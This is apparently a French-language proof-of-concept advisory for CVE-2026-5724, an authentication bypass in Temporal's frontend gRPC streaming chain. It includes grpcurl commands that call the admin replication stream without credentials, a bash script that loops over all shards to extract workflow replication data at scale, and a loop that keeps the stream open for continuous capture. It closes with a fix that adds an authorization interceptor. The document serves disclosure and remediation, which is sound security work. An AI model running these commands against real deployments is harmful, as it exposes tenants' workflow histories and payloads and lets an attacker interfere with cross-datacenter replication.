
Preuve de concept pour CVE-2026-5724, un contournement d'authentification dans le service gRPC frontal de Temporal permettant un accès non authentifié aux données de réplication des workflows.
Le service frontend de Temporal n'applique pas d'authentification sur les RPC gRPC en streaming. La chaîne d'intercepteurs de streaming omet l'intercepteur d'autorisation, permettant à des appelants non authentifiés d'accéder à AdminService/StreamWorkflowReplicationMessages, un endpoint privilégié réservé aux administrateurs qui diffuse les données de réplication de workflows sur tous les namespaces.
Le serveur gRPC frontend situé dans service/frontend/fx.go configure deux chaînes d'intercepteurs. La chaîne de streaming n'inclut que telemetryInterceptor.StreamIntercept pour les métriques et aucune authentification :
Le type authorization.Interceptor n'implémente qu'une méthode d'intercepteur unaire (Intercept). Aucun équivalent en streaming n'existe. Le seul RPC en streaming du frontend est AdminService/StreamWorkflowReplicationMessages, qui selon https://github.com/temporalio/temporal/blob/c9a39e6914c0b3a114ddfe42e991334ed911a4cf/common/api/metadata.go#L214-L215 devrait exiger {Scope: ScopeCluster, Access: AccessAdmin}. L'appel en streaming atteint le handler à admin_handler.go:1904 sans autorisation, où il fait un proxy direct vers l'endpoint de réplication du service d'historique interne.
Prenez un déploiement Temporal exposant l'API gRPC frontend.
Appelez le RPC AdminService en streaming sans aucune information d'identification :
grpcurl -max-time 15 \
-H "temporal-client-cluster-id: 1" \
-H "temporal-client-shard-id: 1" \
-H "temporal-server-cluster-id: 1" \
-H "temporal-server-shard-id: 1" \
-d '{"syncReplicationState":{"inclusiveLowWatermark":0,"highPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"},"lowPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"}}}' \
temporal-frontend.example.com:443 \
temporal.server.api.adminservice.v1.AdminService/StreamWorkflowReplicationMessages
# Le flux se connecte. Le serveur répond avec l'état de réplication incluant
# exclusiveHighWatermark par shard. Pendant la réplication active, la
# réponse contient des événements d'historique de workflows sérialisés :
# {
# "messages": {
# "replicationTasks": [{
# "namespaceId": "...",
# "workflowId": "...",
# "runId": "...",
# "taskType": "REPLICATION_TASK_TYPE_HISTORY_V2_TASK",
# ...
# }],
# "exclusiveHighWatermark": "148293"
# }
# }
Pour itérer sur tous les shards et extraire les données à grande échelle :
#!/usr/bin/env bash
set -euo pipefail
TARGET="${1:-temporal-frontend.example.com:443}"
NUM_SHARDS="${2:-1024}"
CLUSTER_ID="${3:-1}" # initialFailoverVersion : 1=actif, 2=bascule
ADMIN_SVC="temporal.server.api.adminservice.v1.AdminService"
for SHARD in $(seq 1 "${NUM_SHARDS}"); do
grpcurl -max-time 10 \
-H "temporal-client-cluster-id: ${CLUSTER_ID}" \
-H "temporal-client-shard-id: ${SHARD}" \
-H "temporal-server-cluster-id: ${CLUSTER_ID}" \
-H "temporal-server-shard-id: ${SHARD}" \
-d '{"syncReplicationState":{"inclusiveLowWatermark":0,"highPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"},"lowPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"}}}' \
"${TARGET}" "${ADMIN_SVC}/StreamWorkflowReplicationMessages" 2>&1 || true
done
Pour maintenir le flux ouvert en continu et capturer les événements de réplication en temps réel :
(
while true; do
echo '{"syncReplicationState":{"inclusiveLowWatermark":0,"highPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"},"lowPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"}}}'
sleep 5
done
) | grpcurl -d @ \
-H "temporal-client-cluster-id: 1" \
-H "temporal-client-shard-id: 1" \
-H "temporal-server-cluster-id: 1" \
-H "temporal-server-shard-id: 1" \
temporal-frontend.example.com:443 \
temporal.server.api.adminservice.v1.AdminService/StreamWorkflowReplicationMessages
Un attaquant ayant accès au frontend peut lire les données de réplication de workflows sur tous les namespaces et locataires — identifiants de workflows, identifiants d'exécution, événements d'historique, charges utiles d'activités — sans aucune information d'identification. L'attaquant peut également interférer avec la réplication inter-centres de données en envoyant des messages SyncReplicationState, et obtient un pont vers le service d'historique interne qui n'est normalement jamais exposé à l'extérieur.
Implémentez un StreamServerInterceptor sur authorization.Interceptor et ajoutez-le à la chaîne de streaming dans service/frontend/fx.go:292-296 :
streamInterceptor := []grpc.StreamServerInterceptor{
telemetryInterceptor.StreamIntercept,
authInterceptor.StreamIntercept, // appliquer l'authentification sur les RPC en streaming
}